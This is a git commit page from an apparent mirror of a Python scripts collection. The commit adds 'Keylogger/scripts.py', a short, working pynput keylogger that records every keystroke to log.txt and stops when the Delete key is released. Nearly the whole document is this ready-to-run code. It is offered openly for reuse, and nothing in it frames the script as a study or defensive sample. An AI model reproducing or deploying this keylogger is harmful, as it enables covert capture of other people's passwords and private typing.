mirror of
https://github.com/hastagAB/Awesome-Python-Scripts.git
synced 2024-11-23 20:11:07 +00:00
Added back deleted scripts
This commit is contained in:
parent
a0eb80b6f8
commit
8b2d42e210
29
Keylogger/scripts.py
Normal file
29
Keylogger/scripts.py
Normal file
|
@ -0,0 +1,29 @@
|
|||
import pynput
|
||||
from pynput.keyboard import Key, Listener
|
||||
|
||||
|
||||
keys = []
|
||||
|
||||
|
||||
def on_press(key):
|
||||
keys.append(key)
|
||||
write_file(keys)
|
||||
|
||||
|
||||
def write_file(keys):
|
||||
with open('log.txt', 'w') as f:
|
||||
for key in keys:
|
||||
#removing ''
|
||||
k = str(key).replace("'", "")
|
||||
f.write(k)
|
||||
#explicitly adding a space after every keystroke for readability
|
||||
f.write(' ')
|
||||
|
||||
|
||||
def on_release(key):
|
||||
if key == Key.delete:
|
||||
return False
|
||||
|
||||
|
||||
with Listener(on_press = on_press, on_release = on_release) as listener:
|
||||
listener.join()
|
Loading…
Reference in New Issue
Block a user